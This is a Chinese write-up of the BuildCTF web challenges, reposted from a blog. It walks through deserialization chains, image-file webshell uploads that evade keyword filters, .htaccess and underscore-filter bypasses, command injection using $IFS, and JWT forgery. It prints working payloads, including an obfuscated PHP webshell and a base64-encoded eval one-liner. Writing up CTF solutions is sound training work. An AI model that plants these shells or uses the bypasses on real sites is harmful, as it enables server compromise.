0


BuildCTFweb部分题解

Cookie_Factory

扫扫目录

在app.js文件中发现了一个有意思的东西

LovePopChain

打开环境发现给了一串php源码,拷贝到本地进行分析。

发现@unserialize,又找到__wakeup(),尝试构造序列化。

分析其链,@unserialize优先触发__wakeup(),而入口是__clone()中的eval()

执行__clone()需要Myobject对象中的__invoke(),

__invoke() // 当尝试以调用函数的方式调用一个对象时,该方法会被自动调用。

发现hybcx对象中的__toString()魔术方法中的$this->Si最有可能。而MyObject中的Nolove="Do_You_Want_Fl4g?"可以触发该方法。

分析完开始尝试构造序列化。

$a=new MyObject();

$b=new hybcx();

$b ->Si = $a;

$a ->NoLove = $b;

echo serialize($a);

$a = new MyObject();
$b = new hybcx();
$b->Si=$a;
$a->NoLove = $b;
echo serialize($a);

大概就是这样。运行后得到

O:8:"MyObject":2:{s:6:"NoLove";O:5:"hybcx":2:{s:6:"JiuYue";N;s:2:"Si";r:1;}s:6:"Forgzy";N;}

参数中的.会被过滤掉,只要将_换成[后,[会被转义成_,而后面的就会被忽略

Post传入参数

发现了flag

RedFlag

这里建议去看BUUCTF SSTI模板注入 - 高人于斯 - 博客园这里的文章,有原题

babyupload

进行目录扫描

获得上传路径

尝试上传图片马,提示马没了,多次尝试,发现对eval,system,passthru,assert进行了过滤,尝试进行构造绕过

??_x0010_JFIF

<?=$a='sys';$b='tem';$funcName=$a.$b;$x='funcName';$$x($_REQUEST[1]);?>

获得路径

尝试上传.htacces,发现禁止上传,尝试绕过,使用111.htacces.jpg上传,抓包,修改后成功

尝试访问

尝试使用base64输入

echo "PD89ZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg=="|base64 -d>222.php(一句话木马)

flag藏在环境变量中,打开终端输入env,获得flag

我写的网站被rce了?

每个按钮测试一次,发现更新软件,备份日志,查看日志,查看进程功能开发完成,其他都显示功能正在开发

对其挨个抓包查看,测试

更新软件:日志备份,参数测试响应大小相同

测试日志查看时,响应长度发生不同,查看,发现报错信息,尝试在此处进行rce

此时尝试参数1,发现数字被过滤,显示hacker,尝试xxx,发现报错,但是ls和.log拼接了,所以ls后也||隔开

成功ls

尝试判断过滤字符

空格过滤,使用$IFS绕过

Cat过滤,加’数字’过滤,换成字母正常

Flag过滤,``继续绕过,/目录下发现flag

find-the-id

输入1,用yakit进行抓包,对参数进行fuzz,发现有一个响应大小与其他不同,查看,发现flag

tflock

扫目录

发现robots.txt

获得密码本,然后从ctferpass里登录进去获得了一个登录后的路径

然后就是抓包测试,但是鉴于之前先输入username,再输入password会爆锁

所以就先爆破密码,交换其位置,开始爆破

成功出现flag

ps:如果不行的话,就把login.php变为login.php/admin.php

纯净环境下进行爆破,如果账户已经锁定,爆破的时候还是锁定的!!!!!!!(注意)

刮刮乐

进去啥都没有,检查提示传参cmd

传入参数cmd后,发现在页面最下方提示我不是百度自己人

但是页面看着太不舒服了,果断禁用js

添加referer和xff后,居然没有页面提示了

直接尝试

Why_so_serials?

给了一串php代码,拷下来看看

发现反序列化

发现字符替换

考虑反序列化字符逃逸

分析代码发现,触发flag显示需要crime的值为真,将代码中crime的值改为true,执行反序列化操作,得到要逃逸的字符串

“;s:5:"crime";b:1;} 共记19个字符,

然后joker替换batman后会溢出一个字符,也就是说最后构造的时候需要19个joker

查看GET传参Bruce,发现没有对此做要求,随便传一个值,最后payload

?Bruce=1&Wayne=jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:"crime";b:1;}

获得flag

eazyl0gin

给了个登录框提示

下载附件,查看js文件

先去解密下密码

然后就对账号进行研究,因为提到了UpperCase(),去看看这是什么东西

看见是Nodejs,点进去看看

尝试使用buıldctf/012346登陆,发现flag

ez_md5

看见这个输入框,直接尝试了万能密码ffifdyop,直接就成功了

一开始只看见了下面这个,传了两个相等md5的数字进去,但是居然还显示不可以

后来突然看见这个Request,想到request会和cookie有关,尝试修改cookie的值为1

果然这里就绕过了

这里的post传参,之间拿到网站去解密了

传入这个,居然还让我再想想,明明都传完了啊啊啊!!!

看见_了,这不就又是那个可恶的看见.自动换成_吗,直接[绕过。

哈哈哈获得flag

等我写wp的时候发现了

ez_waf

上传文件,发现过滤很严格

但是允许上传php文件

进行fuzz,看过滤哪些关键词

发现<> eval system,字符加等号等都被过滤,看来进行绕过是基本不可能了

考虑扔一堆垃圾数据进行溢出

获得flag

sub

先查看源码,发现和jwt有关,给了密钥

一些关键信息

这里要求用户是admin

首先注册用户admin,然后根据login的关键信息进行jwt 伪造

这里一开始时间戳我复制了当前时间的时间戳,在查看页面的时候爆了Token has expired

回去查看源码发现要30分钟后,直接伪造了个久远的时间

抓包page页面,把Cookie伪造

成功访问

进行利用

隔断

标签: web web安全

本文转载自: https://blog.csdn.net/xc18032/article/details/143264435
版权归原作者 safenan 所有, 如有侵权,请联系我们删除。

“BuildCTFweb部分题解”的评论:

还没有评论